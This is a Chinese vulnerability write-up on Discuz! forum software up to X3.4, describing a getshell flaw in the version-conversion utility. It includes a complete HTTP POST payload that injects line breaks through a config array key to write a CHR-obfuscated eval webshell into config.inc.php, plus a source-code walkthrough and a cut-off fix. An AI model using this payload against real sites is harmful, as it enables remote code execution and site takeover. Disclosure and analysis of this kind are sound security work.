去评论
dz插件网

Discuz!所有版本，版本转换功能导致Getshell[截至X3.4 R20191201]

饾暦饾枎饾枒饾枏饾枂饾枅饾枑
2020/08/10 09:09:17
1、简述
存在问题的代码在/utility/convert/目录下，这部分的功能主要是用于Dz系列产品升级/转换。
影响范围：全版本
条件：存在/utility/convert/目录和相应功能。
2、复现环境
同上，目前gitee最新版代码依然存在该漏洞。
3、漏洞复现
在产品升级/转换->选择产品转换程序 ->设置服务器信息 这里抓包，
payload：
  1. POST /dz/utility/convert/index.php HTTP/1.1
  2. Host: 127.0.0.1:8001
  3. User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:74.0) Gecko/20100101 Firefox/74.0
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  5. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  6. Accept-Encoding: gzip, deflate
  7. Content-Type: application/x-www-form-urlencoded
  8. Content-Length: 278
  9. Origin: http://127.0.0.1:8001
  10. Connection: close
  11. Referer: http://127.0.0.1:8001/dz/utility/convert/index.php
  12. Upgrade-Insecure-Requests: 1

  14. a=config&source=d7.2_x1.5&submit=yes&newconfig[aaa%0a%0deval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(108).CHR(97).CHR(110).CHR(118).CHR(110).CHR(97).CHR(108).CHR(93).CHR(59).CHR(34).CHR(41).CHR(59));//]=aaaa
4、漏洞分析
入口utility/convert/index.php
  1. require './include/common.inc.php';

  3. $action = getgpc('a');
  4. $action = empty($action) ? getgpc('action') : $action;
  5. $source = getgpc('source') ? getgpc('source') : getgpc('s');
取$_POST['a'],直接赋值给$action，此时$action = config;
  1. } elseif($action == 'config' || CONFIG_EMPTY) {      
  2.     require DISCUZ_ROOT.'./include/do_config.inc.php';  
  3. } elseif($action == 'setting') {
满足条件，引入./include/do_config.inc.php
  1. @touch($configfile);
  2. ......
  3. if(submitcheck()) {
  4.     $newconfig = getgpc('newconfig');
  5.     if(is_array($newconfig)) {
  6.         $checkarray = $setting['config']['ucenter'] ? array('source', 'target', 'ucenter') : array('source', 'target');
  7.         foreach ($checkarray as $key) {
  8.       ......
  9.     }
  10.     save_config_file($configfile, $newconfig, $config_default);
$newconfig从$_POST[newconfig]获取数据，save_config_file函数保将$newconfig保存到$configfile文件中，即config.inc.php文件。跟进该函数。
  1. function save_config_file($filename, $config, $default) {
  2.     $config = setdefault($config, $default);// 将$config中的空白项用 $default 中对应项的值填充
  3.     $date = gmdate("Y-m-d H:i:s", time() + 3600 * 8);
  4.     $year = date('Y');
  5.     $content = <<<EOT
  6. <?php


  9. \$_config = array();

  11. EOT;
  12.     $content .= getvars(array('_config' => $config));
  13.     $content .= "\r\n// ".str_pad('  THE END  ', 50, '-', STR_PAD_BOTH)." //\r\n\r\n?>";
  14.     file_put_contents($filename, $content);
  15. }
getvars函数处理，此时的$config = $newconfig+config.default.php对应项的补充。看一下getvars函数：
  1. function getvars($data, $type = 'VAR') {
  2.     $evaluate = '';
  3.     foreach($data as $key => $val) {
  4.         if(!preg_match("/^[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*$/", $key)) {
  5.             continue;
  6.         }
  7.         if(is_array($val)) {
  8.             $evaluate .= buildarray($val, 0, "\${$key}")."\r\n";
  9.         } else {
  10.             $val = addcslashes($val, '\'\\');
  11.             $evaluate .= $type == 'VAR' ? "\$key = '$val';\n" : "define('".strtoupper($key)."', '$val');\n";
  12.         }
  13.     }
  14.     return $evaluate;
  15. }
满足if条件会执行buildarray函数，此时$key=_config，$val=上面的$config。最终造成写入的在该函数中（update.php 2206行）：
  1. foreach ($array as $key => $val) {
  2.         if($level == 0) {
  3.             //str_pad — 使用另一个字符串填充字符串为指定长度
  4.             // 第一个参数是要输出的字符串，指定长度为50，用'-'填充，居中
  5.             $newline = str_pad('  CONFIG '.strtoupper($key).'  ', 50, '-', STR_PAD_BOTH);
  6.             $return .= "\r\n// $newline //\r\n";
  7.         }
本意是使用$config数组的key作为每一块配置区域的"注释标题"，写入配置文件的$newline依赖于$key，而$key是攻击者可控的。
未对输入数据进行正确的边界处理，导致可以插入换行符，逃离注释的作用范围，从而使输入数据转化为可执行代码。
5、修复建议
update.php 2206行
  1. foreach ($array as $key => $val){
  2.     //过滤掉$key中的非字母、数字及下划线字符


进入原文参与互动